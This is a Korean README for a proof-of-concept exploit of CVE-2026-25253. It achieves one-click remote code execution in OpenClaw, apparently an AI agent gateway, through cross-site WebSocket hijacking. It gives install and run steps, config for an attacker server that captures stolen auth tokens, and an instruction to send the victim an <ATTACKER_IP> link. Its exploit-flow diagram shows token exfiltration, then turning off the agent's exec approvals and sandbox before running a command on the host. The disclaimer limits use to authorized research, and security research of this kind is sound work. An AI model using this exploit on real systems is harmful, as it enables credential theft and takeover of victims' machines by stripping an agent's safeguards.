
CVE-2026-25253에 대한 개념 증명 익스플로잇으로, 교차 사이트 WebSocket 하이재킹(Cross-Site WebSocket Hijacking)을 통해 OpenClaw에서 원클릭 RCE를 시연합니다. 토큰을 탈취하고 명령을 실행하기 위한 공격자 서버와 브라우저 기반 페이로드를 포함합니다.
교차 사이트 WebSocket 하이재킹을 통한 OpenClaw의 원클릭 RCE.
면책 조항: 이 코드는 승인된 보안 연구 및 교육 목적으로만 제공됩니다. 명시적인 서면 허가 없이 시스템에 이 코드를 사용하는 것은 불법이며 비윤리적입니다. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.
이 취약점에 대한 소스 코드 수준의 분석과 이 PoC가 어떻게 만들어졌는지에 대해서는 상세 분석을 참조하십시오.
localhost:18789)macOS (Homebrew):
brew install node
Ubuntu / Debian:
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
sudo apt-get install -y nodejs
Windows:
https://nodejs.org/ 에서 설치 프로그램을 다운로드하고 안내에 따라 진행하세요.
설치 확인:
node -v
npm -v
git clone https://github.com/al4n4n/CVE-2026-25253-research.git
cd CVE-2026-25253-research
npm install
이것은 유일한 종속성인 ws(WebSocket 라이브러리)를 설치합니다.
환경에 맞게 exploit.html 상단을 편집하세요:
const LOCAL_SCHEME = 'http'; // Victim's Control UI scheme
const GATEWAY_URL = 'ws://127.0.0.1:18789'; // Victim's local gateway
const ATTACKER_WS_PORT = 8080; // Attacker WS port (must match attacker-server.js)
const ATTACKER_SCHEME = 'ws'; // Use 'wss' if behind TLS
const COMMAND = 'touch /tmp/success'; // Command to execute on victim host
attacker-server.js 상단에서 다른 포트가 필요하면 편집하세요:
const HTTP_PORT = 3000; // Serves exploit.html
const WS_PORT = 8080; // Captures stolen tokens
node attacker-server.js
다음과 같이 표시되어야 합니다:
============================================================
CVE-2026-25253 Attack Server
============================================================
[HTTP] Exploit page: http://0.0.0.0:3000/exploit.html
[WS] Token capture: ws://0.0.0.0:8080
Waiting for victim...
피해자에게 다음 URL을 전송하세요 (<ATTACKER_IP>를 자신의 IP로 교체):
http://<ATTACKER_IP>:3000/exploit.html
피해자는 이전에 OpenClaw Control UI를 사용한 적이 있는 브라우저에서 이 링크를 열어야 합니다(따라서 인증 토큰이 localStorage에 존재합니다).
┌──────────────────────────────────────────────────────────────────────────┐
│ EXPLOIT FLOW │
├──────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Victim visits http://<attacker>:3000/exploit.html │
│ │ │
│ 2. Page opens popup: http://127.0.0.1:18789?gatewayUrl=ws://<attacker> │
│ │ │
│ 3. Control UI in popup reads token from localStorage │
│ and sends it to attacker's WS server via gatewayUrl │
│ │ │
│ 4. Attacker server rejects first connect (device token) │
│ Control UI retries with settings token → CAPTURED │
│ │ │
│ 5. exploit.html opens its OWN WebSocket to ws://127.0.0.1:18789 │
│ (Cross-Site WebSocket Hijacking - no Origin validation) │
│ │ │
│ 6. Authenticates with stolen token, disables security: │
│ • exec.approvals.set → ask: "off" │
│ • config.patch → host: "gateway", sandbox.mode: "off" │
│ │ │
│ 7. Sends agent command → RCE on victim host │
│ │
└──────────────────────────────────────────────────────────────────────────┘
피해자 머신에서 명령이 실행되었는지 확인합니다:
ls -la /tmp/success
| 파일 | 설명 |
|---|---|
attacker-server.js | HTTP 서버(익스플로잇 페이지 제공) + WebSocket 서버(탈취된 토큰 캡처) |
exploit.html | 토큰을 탈취하고, WebSocket을 하이재킹하며, 보안을 비활성화하고, 명령을 실행하는 브라우저 기반 익스플로잇 페이로드 |
package.json | Node.js 의존성 (ws) |